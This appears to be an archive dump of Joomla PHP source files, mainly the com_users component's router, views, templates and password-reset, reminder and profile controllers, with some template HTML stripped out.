$this->setState('filter.published', 1); $this->setState('filter.archived', 2); } } /** * Method to get newsfeed data. * * @param integer The id of the newsfeed. * * @return mixed Menu item data object on success, false on failure. * @since 1.6 */ public function &getItem($pk = null) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('newsfeed.id'); if ($this->_item === null) { $this->_item = array(); } if (!isset($this->_item[$pk])) { try { $db = $this->getDbo(); $query = $db->getQuery(true) ->select($this->getState('item.select', 'a.*')) ->from('#__newsfeeds AS a'); // Join on category table. $query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access') ->join('LEFT', '#__categories AS c on c.id = a.catid'); // Join on user table. $query->select('u.name AS author') ->join('LEFT', '#__users AS u on u.id = a.created_by'); // Join over the categories to get parent category titles $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias') ->join('LEFT', '#__categories as parent ON parent.id = c.parent_id') ->where('a.id = ' . (int) $pk); // Filter by start and end dates. $nullDate = $db->quote($db->getNullDate()); $nowDate = $db->quote(JFactory::getDate()->toSql()); // Filter by published state. $published = $this->getState('filter.published'); $archived = $this->getState('filter.archived'); if (is_numeric($published)) { $query->where('(a.published = ' . (int) $published . ' OR a.published =' . (int) $archived . ')') ->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')') ->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')') ->where('(c.published = ' . (int) $published . ' OR c.published =' . (int) $archived . ')'); } $db->setQuery($query); $data = $db->loadObject(); if (empty($data)) { JError::raiseError(404, JText::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND')); } // Check for published state if filter set. if (((is_numeric($published)) || (is_numeric($archived))) && (($data->published != $published) && ($data->published != $archived))) { JError::raiseError(404, JText::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND')); } // Convert parameter fields to objects. $registry = new JRegistry; $registry->loadString($data->params); $data->params = clone $this->getState('params'); $data->params->merge($registry); $registry = new JRegistry; $registry->loadString($data->metadata); $data->metadata = $registry; // Compute access permissions. if ($access = $this->getState('filter.access')) { // If the access filter has been set, we already know this user can view. $data->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups)); } $this->_item[$pk] = $data; } catch (Exception $e) { $this->setError($e); $this->_item[$pk] = false; } } return $this->_item[$pk]; } /** * Increment the hit counter for the newsfeed. * * @param int $pk Optional primary key of the item to increment. * * @return boolean True if successful; false otherwise and internal error set. * * @since 3.0 */ public function hit($pk = 0) { $input = JFactory::getApplication()->input; $hitcount = $input->getInt('hitcount', 1); if ($hitcount) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('newsfeed.id'); $table = JTable::getInstance('Newsfeed', 'NewsfeedsTable'); $table->load($pk); $table->hit($pk); } return true; } } index.html000066600000000037150771500630006551 0ustar00 com_users/metadata.xml000066600000000075150771500630011057 0ustar00 com_users/router.php000066600000013703150771500630010610 0ustar00getMenu(); $items = $menu->getItems('component', 'com_users'); // Build an array of serialized query strings to menu item id mappings. for ($i = 0, $n = count($items); $i < $n; $i++) { // Check to see if we have found the resend menu item. if (empty($resend) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'resend')) { $resend = $items[$i]->id; } // Check to see if we have found the reset menu item. if (empty($reset) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'reset')) { $reset = $items[$i]->id; } // Check to see if we have found the remind menu item. if (empty($remind) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'remind')) { $remind = $items[$i]->id; } // Check to see if we have found the login menu item. if (empty($login) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'login')) { $login = $items[$i]->id; } // Check to see if we have found the registration menu item. if (empty($registration) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'registration')) { $registration = $items[$i]->id; } // Check to see if we have found the profile menu item. if (empty($profile) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'profile')) { $profile = $items[$i]->id; } } // Set the default menu item to use for com_users if possible. if ($profile) { $default = $profile; } elseif ($registration) { $default = $registration; } elseif ($login) { $default = $login; } } if (!empty($query['view'])) { switch ($query['view']) { case 'reset': if ($query['Itemid'] = $reset) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'resend': if ($query['Itemid'] = $resend) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'remind': if ($query['Itemid'] = $remind) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'login': if ($query['Itemid'] = $login) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'registration': if ($query['Itemid'] = $registration) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; default: case 'profile': if (!empty($query['view'])) { $segments[] = $query['view']; } unset ($query['view']); if ($query['Itemid'] = $profile) { unset ($query['view']); } else { $query['Itemid'] = $default; } // Only append the user id if not "me". $user = JFactory::getUser(); if (!empty($query['user_id']) && ($query['user_id'] != $user->id)) { $segments[] = $query['user_id']; } unset ($query['user_id']); break; } } $total = count($segments); for ($i = 0; $i < $total; $i++) { $segments[$i] = str_replace(':', '-', $segments[$i]); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $total = count($segments); $vars = array(); for ($i = 0; $i < $total; $i++) { $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1); } // Only run routine if there are segments to parse. if (count($segments) < 1) { return; } // Get the package from the route segments. $userId = array_pop($segments); if (!is_numeric($userId)) { $vars['view'] = 'profile'; return $vars; } if (is_numeric($userId)) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from($db->quoteName('#__users')) ->where($db->quoteName('id') . ' = ' . (int) $userId); $db->setQuery($query); $userId = $db->loadResult(); } // Set the package id if present. if ($userId) { // Set the package id. $vars['user_id'] = (int) $userId; // Set the view to package if not already set. if (empty($vars['view'])) { $vars['view'] = 'profile'; } } else { JError::raiseError(404, JText::_('JGLOBAL_RESOURCE_NOT_FOUND')); } return $vars; } } /** * Users router functions * * These functions are proxys for the new router interface * for old SEF extensions. * * @deprecated 4.0 Use Class based routers instead */ function UsersBuildRoute(&$query) { $router = new UsersRouter; return $router->build($query); } function UsersParseRoute($segments) { $router = new UsersRouter; return $router->parse($segments); } com_users/views/profile/view.html.php000066600000007577150771500630014016 0ustar00data = $this->get('Data'); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); $this->twofactorform = $this->get('Twofactorform'); $this->twofactormethods = UsersHelper::getTwoFactorMethods(); $this->otpConfig = $this->get('OtpConfig'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
    ', $errors)); return false; } // View also takes responsibility for checking if the user logged in with remember me. $user = JFactory::getUser(); $cookieLogin = $user->get('cookieLogin'); if (!empty($cookieLogin)) { // If so, the user must login to edit the password and other data. // What should happen here? Should we force a logout which detroys the cookies? $app = JFactory::getApplication(); $app->enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message'); $app->redirect(JUri::base() . 'index.php?option=com_users&view=login', '', 302); return false; } // Check if a user was found. if (!$this->data->id) { JError::raiseError(404, JText::_('JERROR_USERS_PROFILE_NOT_FOUND')); return false; } $this->data->tags = new JHelperTags; $this->data->tags->getItemTags('com_users.user.', $this->data->id); // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); return parent::display($tpl); } /** * Prepares the document * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $user = JFactory::getUser(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $user->name)); } else { $this->params->def('page_heading', JText::_('COM_USERS_PROFILE')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_users/views/profile/tmpl/default_custom.php000066600000003571150771500630016061 0ustar00form->getFieldsets(); if (isset($fieldsets['core'])) unset($fieldsets['core']); if (isset($fieldsets['params'])) unset($fieldsets['params']); foreach ($fieldsets as $group => $fieldset): // Iterate through the form fieldsets $fields = $this->form->getFieldset($group); if (count($fields)): ?> params->get('show_tags')) : ?> tagLayout = new JLayoutFile('joomla.content.tags'); ?> tagLayout->render($this->tags); ?>
    label)):// If the fieldset has a label set, display it as the legend.?> label); ?>
    hidden) :?>
    title; ?>
    id)):?> id, $field->value);?> fieldname)):?> fieldname, $field->value);?> type)):?> type, $field->value);?> value);?>
    com_users/views/profile/tmpl/default.php000066600000001772150771500630014470 0ustar00
    params->get('show_page_heading')) : ?> id == $this->data->id) : ?> loadTemplate('core'); ?> loadTemplate('params'); ?> loadTemplate('custom'); ?>
    com_users/views/profile/tmpl/edit.php000066600000011410150771500630013757 0ustar00load('plg_user_profile', JPATH_ADMINISTRATOR); ?>
    params->get('show_page_heading')) : ?>
    form->getFieldsets() as $group => $fieldset):// Iterate through the form fieldsets and display each one.?> form->getFieldset($group);?>
    label)):// If the fieldset has a label set, display it as the legend.?> label); ?> hidden):// If the field is hidden, just display the input.?>
    input;?>
    label; ?> required && $field->type != 'Spacer') : ?>
    input; ?>
    twofactormethods) > 1): ?>
    twofactormethods, 'jform[twofactor][method]', array('onchange' => 'Joomla.twoFactorMethodChange()'), 'value', 'text', $this->otpConfig->method, 'jform_twofactor_method', false) ?>
    twofactorform as $form): ?> otpConfig->method ? 'display: block' : 'display: none'; ?>
    otpConfig->otep)): ?>
    otpConfig->otep as $otep): ?> ---
    com_users/views/profile/tmpl/default.xml000066600000000463150771500630014475 0ustar00 com_users/views/profile/tmpl/index.html000066600000000037150771500630014321 0ustar00 com_users/views/profile/tmpl/edit.xml000066600000000470150771500630013774 0ustar00 com_users/views/profile/tmpl/default_params.php000066600000003210150771500630016020 0ustar00 form->getFieldset('params'); ?>
    hidden) :?>
    title; ?>
    id)):?> id, $field->value);?> fieldname)):?> fieldname, $field->value);?> type)):?> type, $field->value);?> value);?>
    com_users/views/profile/tmpl/default_core.php000066600000002311150771500630015466 0ustar00
    data->name; ?>
    data->username); ?>
    data->registerDate); ?>
    data->lastvisitDate != '0000-00-00 00:00:00'){?>
    data->lastvisitDate); ?>
    com_users/views/profile/metadata.xml000066600000000216150771500630013651 0ustar00 com_users/views/profile/index.html000066600000000037150771500630013345 0ustar00 com_users/views/index.html000066600000000037150771500630011705 0ustar00 com_users/views/remind/view.html.php000066600000005144150771500630013620 0ustar00form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->params; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
    ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_REMIND')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_users/views/remind/tmpl/default.php000066600000002620150771500630014277 0ustar00
    params->get('show_page_heading')) : ?>
    form->getFieldsets() as $fieldset) : ?>

    label); ?>

    form->getFieldset($fieldset->name) as $name => $field) : ?>
    label; ?>
    input; ?>
    com_users/views/remind/tmpl/default.xml000066600000000461150771500630014311 0ustar00 com_users/views/remind/tmpl/index.html000066600000000037150771500630014137 0ustar00 com_users/views/remind/metadata.xml000066600000000215150771500630013466 0ustar00 com_users/views/remind/index.html000066600000000037150771500630013163 0ustar00 com_users/views/login/view.html.php000066600000005647150771500630013462 0ustar00user = JFactory::getUser(); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
    ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } require_once JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php'; $tfa = UsersHelper::getTwoFactorMethods(); $this->tfa = is_array($tfa) && count($tfa) > 1; //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $user = JFactory::getUser(); $login = $user->get('guest') ? true : false; $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', $login ? JText::_('JLOGIN') : JText::_('JLOGOUT')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_users/views/login/tmpl/default.php000066600000001052150771500630014127 0ustar00user->get('cookieLogin'); if ($this->user->get('guest') || !empty($cookieLogin)) { // The user is not logged in or needs to provide a password. echo $this->loadTemplate('login'); } else { // The user is already logged in. echo $this->loadTemplate('logout'); } com_users/views/login/tmpl/default_login.php000066600000006755150771500630015336 0ustar00
    com_users/views/login/tmpl/default.xml000066600000004016150771500630014143 0ustar00
    com_users/views/login/tmpl/index.html000066600000000037150771500630013771 0ustar00 com_users/views/login/tmpl/default_logout.php000066600000003602150771500630015523 0ustar00
    params->get('show_page_heading')) : ?> params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
    params->get('logoutdescription_show') == 1) : ?> params->get('logout_description'); ?> params->get('logout_image') != '')) :?> <?php echo JTEXT::_('COM_USER_LOGOUT_IMAGE_ALT')?> params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
    com_users/views/login/metadata.xml000066600000000214150771500630013317 0ustar00 com_users/views/login/index.html000066600000000037150771500630013015 0ustar00 com_users/views/reset/view.html.php000066600000005375150771500630013472 0ustar00getLayout(); // Check that the name is valid - has an associated model. if (!in_array($name, array('confirm', 'complete'))) { $name = 'default'; } if ('default' == $name) { $formname = 'Form'; } else { $formname = ucfirst($this->_name).ucfirst($name).'Form'; } // Get the view data. $this->form = $this->get($formname); $this->state = $this->get('State'); $this->params = $this->state->params; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
    ', $errors)); return false; } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_RESET')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_users/views/reset/tmpl/default.php000066600000002620150771500630014143 0ustar00
    params->get('show_page_heading')) : ?>
    form->getFieldsets() as $fieldset) : ?>

    label); ?>

    form->getFieldset($fieldset->name) as $name => $field) : ?>
    label; ?>
    input; ?>
    com_users/views/reset/tmpl/complete.php000066600000002304150771500630014326 0ustar00
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    form->getFieldsets() as $fieldset) : ?>

    label); ?>

    form->getFieldset($fieldset->name) as $name => $field) : ?>
    label; ?>
    input; ?>
    com_users/views/reset/tmpl/default.xml000066600000000462150771500630014156 0ustar00 com_users/views/reset/tmpl/index.html000066600000000037150771500630014003 0ustar00 com_users/views/reset/tmpl/confirm.php000066600000002302150771500630014151 0ustar00
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    form->getFieldsets() as $fieldset) : ?>

    label); ?>

    form->getFieldset($fieldset->name) as $name => $field) : ?>
    label; ?>
    input; ?>
    com_users/views/reset/metadata.xml000066600000000214150771500630013331 0ustar00 com_users/views/reset/index.html000066600000000037150771500630013027 0ustar00 com_users/views/registration/view.html.php000066600000005252150771500630015054 0ustar00data = $this->get('Data'); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
    ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_REGISTRATION')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } com_users/views/registration/tmpl/default.php000066600000004442150771500630015537 0ustar00
    params->get('show_page_heading')) : ?>
    form->getFieldsets() as $fieldset): // Iterate through the form fieldsets and display each one.?> form->getFieldset($fieldset->name);?>
    label)):// If the fieldset has a label set, display it as the legend. ?> label);?> hidden):// If the field is hidden, just display the input.?> input;?>
    label; ?> required && $field->type != 'Spacer') : ?>
    input;?>
    com_users/views/registration/tmpl/complete.php000066600000000764150771500630015726 0ustar00
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    com_users/views/registration/tmpl/default.xml000066600000000505150771500630015544 0ustar00 com_users/views/registration/tmpl/index.html000066600000000037150771500630015373 0ustar00 com_users/views/registration/metadata.xml000066600000000223150771500630014721 0ustar00 com_users/views/registration/index.html000066600000000037150771500630014417 0ustar00 com_users/index.html000066600000000037150771500630010550 0ustar00 com_users/users.php000066600000000740150771500630010426 0ustar00execute(JFactory::getApplication()->input->get('task', 'display')); $controller->redirect(); com_users/controller.php000066600000006637150771500630011463 0ustar00input->getCmd('view', 'login'); $vFormat = $document->getType(); $lName = $this->input->getCmd('layout', 'default'); if ($view = $this->getView($vName, $vFormat)) { // Do any specific processing by view. switch ($vName) { case 'registration': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } // Check if user registration is enabled if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { // Registration is disabled - Redirect to login page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return; } // The user is a guest, load the registration model and show the registration page. $model = $this->getModel('Registration'); break; // Handle view specific models. case 'profile': // If the user is a guest, redirect to the login page. $user = JFactory::getUser(); if ($user->get('guest') == 1) { // Redirect to login page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return; } $model = $this->getModel($vName); break; // Handle the default views. case 'login': $model = $this->getModel($vName); break; case 'reset': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } $model = $this->getModel($vName); break; case 'remind': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } $model = $this->getModel($vName); break; default: $model = $this->getModel('Login'); break; } // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->document = $document; $view->display(); } } } com_users/controllers/reset.php000066600000014167150771500630012765 0ustar00getModel('Reset', 'UsersModel'); $data = $this->input->post->get('jform', array(), 'array'); // Submit the password reset request. $return = $model->processResetRequest($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_REQUEST_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset'.$itemid; // Go back to the request form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // The request failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset'.$itemid; // Go back to the request form. $message = JText::sprintf('COM_USERS_RESET_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // The request succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Proceed to step two. $this->setRedirect(JRoute::_($route, false)); return true; } } /** * Method to confirm the password request. * * @access public * @since 1.6 */ public function confirm() { // Check the request token. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('Reset', 'UsersModel'); $data = $this->input->get('jform', array(), 'array'); // Confirm the password reset request. $return = $model->processResetConfirm($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_CONFIRM_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Go back to the confirm form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Confirm failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Go back to the confirm form. $message = JText::sprintf('COM_USERS_RESET_CONFIRM_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Confirm succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Proceed to step three. $this->setRedirect(JRoute::_($route, false)); return true; } } /** * Method to complete the password reset process. * * @since 1.6 */ public function complete() { // Check for request forgeries JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('Reset', 'UsersModel'); $data = $this->input->post->get('jform', array(), 'array'); // Complete the password reset request. $return = $model->processResetComplete($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_COMPLETE_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Go back to the complete form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Complete failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Go back to the complete form. $message = JText::sprintf('COM_USERS_RESET_COMPLETE_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Complete succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to the login form. $message = JText::_('COM_USERS_RESET_COMPLETE_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } } com_users/controllers/index.html000066600000000037150771500630013116 0ustar00 com_users/controllers/remind.php000066600000003432150771500630013112 0ustar00getModel('Remind', 'UsersModel'); $data = $this->input->post->get('jform', array(), 'array'); // Submit the password reset request. $return = $model->processRemindRequest($data); // Check for a hard error. if ($return == false) { // The request failed. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the request form. $message = JText::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // The request succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to step two. $message = JText::_('COM_USERS_REMIND_REQUEST_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } } com_users/controllers/profile.php000066600000013372150771500630013300 0ustar00get('id'); // Get the previous user id (if any) and the current user id. $previousId = (int) $app->getUserState('com_users.edit.profile.id'); $userId = $this->input->getInt('user_id', null, 'array'); // Check if the user is trying to edit another users profile. if ($userId != $loginUserId) { JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); return false; } $cookieLogin = $user->get('cookieLogin'); // Check if the user logged in with a cookie if (!empty($cookieLogin)) { // If so, the user must login to edit the password and other data. $app->enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; } // Set the user id for the user to edit in the session. $app->setUserState('com_users.edit.profile.id', $userId); // Get the model. $model = $this->getModel('Profile', 'UsersModel'); // Check out the user. if ($userId) { $model->checkout($userId); } // Check in the previous user. if ($previousId) { $model->checkin($previousId); } // Redirect to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit', false)); } /** * Method to save a user's profile data. * * @return void * @since 1.6 */ public function save() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('Profile', 'UsersModel'); $user = JFactory::getUser(); $userId = (int) $user->get('id'); // Get the user data. $data = $app->input->post->get('jform', array(), 'array'); // Force the ID to this user. 